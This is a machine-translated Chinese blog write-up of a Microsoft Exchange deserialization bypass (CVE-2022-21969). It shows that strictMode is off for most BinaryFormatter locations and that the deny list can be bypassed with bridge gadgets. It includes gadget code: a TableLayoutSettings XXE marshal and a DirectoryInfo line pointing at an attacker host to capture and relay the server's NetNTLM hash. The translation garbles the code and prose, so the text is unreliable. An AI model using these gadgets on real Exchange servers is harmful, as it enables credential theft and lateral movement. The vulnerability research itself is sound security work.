在 Microsoft Exchange 中搜索反序列化保护绕过 ( CVE-2022–21969)

2022-01-13 20:02:22 浏览数 (1)

查看像 Microsoft Exchange 这样的庞大代码库通常是由我的第一种方法驱动的。很高兴看到较小的项目,但学习不同类型的模式(和反模式)特性,例如某种编程语言,只有通过查看巨人才有可能。

作为爱DESE [R ialization缺陷,而现在,和Microsoft Exchange有这类问题的历史了,我试着密切跟踪这种类型的不同可公开获得的漏洞。

有时似乎有机会偶然发现一些新的漏洞。我认为这将是其中之一(它是[第一个]不是!)。

从序列化表示中重建对象可能会导致危险行为,例如远程代码执行 (RCE)。.NET 中这些众所周知的接收器之一是来自“未受保护”格式化程序的反序列化调用,例如BinaryFormatter.

在安装了各种版本的 Microsoft Exchange 之后,我的一次旅程将我带到了(据说)最新版本的 Exchange 2016。搜索各种 Formatter 调用将我带到了 Exchange Rpc功能,你们中的一些人可能从Outlook Anywhere交换器之类的工具中知道这些功能(“RPC over HTTP v2 ”)。Microsoft 创建的二进制协议可以(并且仍然)用于此目的,而不是使用人类可读的 HTTP 请求在客户端和 Exchange 服务器后端之间进行通信。

所以,这就是我在考虑反序列化的情况下查看 Rpc 函数时发现的。该类Microsoft.Exchange.Rpc.ExchangeCertificates.ExchangeCertificateRpcServer提供了几个函数原型,可能可以通过/rpc端点调用。

然后Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer该类相应地实现了原型。

byte[] inputBlob这些函数之一中的方法参数作为例如ImportCertificate(int version, byte[] inputBlob, SecureString password)将我们带到Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper.

在这里,构造函数Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc被调用。

方法调用DeserializeObject(inputBlob, false)到达同一个类中的危险接收器

BinaryFormatter反序列化byte[] inputBlob(这里byte[] data)没有使用正确的SerializationBinder 或任何其他形式的保护。这可能会导致带有从ysoserial .NET生成的有效负载的 RCE 。

接下来必须面对几个问题:

  1. 如何使用适当控制的inputBlob字节数组到达接收器?
  2. 我必须重构这种丑陋的二进制格式吗?(提示:我不擅长这个!)
  3. 怎么可能没有其他人已经(成功地)针对这部分?

长话短说,我几乎立即回答了问题 3,我意识到我在将 Exchange 安装修补到最新版本时完全失败了。我以为我做到了,但没有正确。这一刻,一种愤怒的情绪涌上心头,因为这不是我第一次“重新发现”旧的发现。但是,当我说:一个人在(重新)发现的每个阶段都会学习大量新事物时,请听我说,这也是最终重要的。有时,您甚至可能会重新发现默默修补的漏洞

但这不是结束。在我们将服务器正确修补到Exchange 2016 CU22(带有最新的 11 月修补程序 KB5007409)之后,我们确实发现了一些有趣的事情

所以回到工作中,我意识到这个完全修补的 Exchange 还提供了该类Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc及其方法DeserializeObject(byte[] data, bool customized)来反序列化上述相同类型的东西。

在这个完全修补的版本中,可以Microsoft.Exchange.Rpc.ExchangeCertificate.ExchangeCertificateRpcServer再次将与上述非常相似的代码路径跟踪到原型,例如ImportCertificate(int version, byte[] pInBytes, SecureString password).

新推出的Microsoft.Exchange.Diagnostics.ChainedSerializationBinder约CVE-2021-42321由张和彼得的Json的nDay研究文章已经讨论(同样,读它!)。

正如 Jang 和 Peter 详细解释的那样,有几种情况可以反序列化恶意负载:

  1. strictMode必须被设置为False
  2. [嵌套] 有效负载对象中的完全限定程序集名称不得与定义的拒绝列表中的任何成员匹配,Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization其中定义的拒绝列表基本上会从 ysoserial .NET 中杀死所有已知的 .NET 反序列化小工具

正如他们在文章中所指出的,对于 CVE-2021–42321,“绕过”非常简单,因为

  1. strictMode未设置,因此False默认情况下
  2. 拒绝列表中有一个著名小工具的拼写错误,其他著名小工具也丢失了

因为这当然在我修补的 Exchange 实例中得到了修复,所以我想再次查看我们的 Rpc 反序列化代码。有趣的是,所有“安全”BinaryFormatter实例都是ExchangeBinaryFormatterFactory.CreateBinaryFormatter(...)使用Enum 的某个条目Microsoft.Exchange.Diagnostics.DeserializationLocation作为strictMode确定的输入参数从工厂创建的(参见上面本段的第一张图片)。为了证明我们的第一个条件是否strictMode = False适用于 Rpc 源,我编写了一个快速而肮脏的程序并在我的 Exchange 服务器上执行它。

代码语言:javascript复制
使用 Microsoft.Exchange.Data.Serialization;
使用 Microsoft.Exchange.Diagnostics;
使用系统;

命名空间 ExchangeStrictModeCheck 
{
    类程序
    {
        静态无效 Main(string[] args) 
        { 
            bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc); 
            Console.WriteLine("ExchangeCertificateRpc - strictMode = "   strictModeStatus); 

            数组值 = Enum.GetValues(typeof(DeserializeLocation)); 
            foreach (DeserializeLocation val in values) 
            { 
                Console.WriteLine(val   "strictMode = "   Serialization.GetStrictModeStatus(val));
            } 
        } 
    } 
} 

事实上, 的值ExchangeCertificateRpc被设置为False。上面的代码不仅返回了这个特定 Enum 条目评估的值,而且在第二步中迭代了所有 Enum 条目。这是输出的摘录:

代码语言:javascript复制
... 
ExchangeCertificateRpc - strictMode = False 
Unclassified strictMode = False 
Test strictMode = False 
Hygiene_CacheSerializer strictMode = False 
TopologyDiscovery strictMode = False 
UmCore_PipelineContext strictMode = False 
UmCommon_Serialization strictMode = False 
SharepointNotification strictMode = False 
SwordFish_AirSync strictMode = False 
SwordFish_UserGroup strictMode = False 
SwordFish_Extensions strictMode = False 
ModelItemCacheObject = False 
TopNConfiguration strictMode = False 
TopNData strictMode = False 
GroupProvider strictMode = False 
SubscribeListHelper strictMode = False 
NormalizationCache strictMode = False
ClientExtensionCollectionFormatter strictMode = True 
...

阅读整个输出仔细发现,只有11人的94值导致strictMode被设置为True。好吧,这意味着绝大多数条目都相等False,因此在很多情况下,设计上都满足了“绕过条件 1” 。

接下来,“绕过条件 2”变得更加棘手,因为导致 CVE-2021-42321 的不完整拒绝列表已相应调整。如果可以找到另一个不在此拒绝列表中的小工具怎么办?我必须找到花哨的链,即真正新的 RCE 小工具吗?不,我没有,因为桥接小工具也完全可以正常工作(GadgetTypes.BridgeAndDerived在 ysoserial .NET 中查找)。

让我们再次从失败的尝试开始。在Steven在当前 Exchange 版本中的 XXE 工作的推动下(参见CVE-2020-17141),也许我可以找到一个导致 XXE 接收器的桥接小工具(每个人都专注于即时 RCE 的东西,对吗?)。

该程序集System.Windows.Forms.TableLayoutSettings(在 GAC 中可用,因此这是“通用的”而不是特定于 Exchange 的)实现了一个序列化构造函数以及一个自定义 TypeConverter

在反SerializationInfo序列化期间,源自序列化对象的参数包含一个名为SerializedString. 此外,converter.ConvertFromInvariantString(@string)调用ConvertFromSystem.Windows.Forms.Layout.TableLayoutSettingsTypeConverter.

最后,SerializedString终于到达了XmlDocument.loadXml(string)可以触发XXE的sink。可以简单地编写一个 ysoserial .NET 小工具来创建有效负载。相关部分如下所示:

代码语言:javascript复制
[Serializable]
    公共类 TableLayoutSettingsMarshal : ISerializable 
    { 
        public TableLayoutSettingsMarshal(string payload) 
        { 
            Payload = payload; 
        }
        私有字符串有效载荷 { 获取;} 
        public void GetObjectData(SerializationInfo info, StreamingContext context) 
        { 
            info.SetType(Type.GetType("System.Windows.Forms.TableLayoutSettings, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089") ); 
            info.AddValue("SerializedString", Payload); 
        } 
    }

随意实现缺少的代码并向 ysoserial .NET 项目提出拉取请求。这是一个很好的练习。

事实证明,我以前的怀疑是正确的:.NET 框架< 4.5.2 的XXE很棘手,几乎不可能,有时可能通过“不幸”XmlResolver实现等。所以这不适用于最新的 Exchange 2016 版本。

但后来我想起了我的旧推文。那时,我正在寻找一种URLDNS(类似于 Java ysoserial)小工具,但用于 .NET。我发现的小工具不仅能够触发 DNS 请求,而且本质上还能够触发 SMB(或 WEBDAV)向攻击者控制的共享请求。像这样简单地写一行代码

代码语言:javascript复制
System.IO.DirectoryInfo gadget = new System.IO.DirectoryInfo(@"\YOURHOST~WithATilde");

BinaryFormatter在我们的例子中,使用您选择的 Formatter 序列化对象。

现在 SMB 签名可能被禁用,在 Exchange 服务器上安装了 WebClientService 或启用了 WEBDAV 重定向器(在生产环境中看到所有这些!),然后您可以捕获 Exchange 计算机帐户 NetNTLM 哈希并将其中继到您的 Active Directory 中的其他主机(AD) 环境,做了很多坏事。有大量关于中继攻击的出色研究和与 AD 相关的渗透测试文章,所以我不会详细介绍。

那这行得通吗?是的,它确实做到了,基本上我实现了我的目标,即永远不应将拒绝列表方法用于主要保护。在 Exchange 的情况下,对于83 个(记住Serialization.GetStrictModeStatus(DeserializeLocation.*))潜在的 BinaryFormatter 工厂调用版本,拒绝列表将是唯一的保护(这里没有“深度防御”)!并亲自检查整个 Exchange 代码库中是否存在多个此类调用。

0 人点赞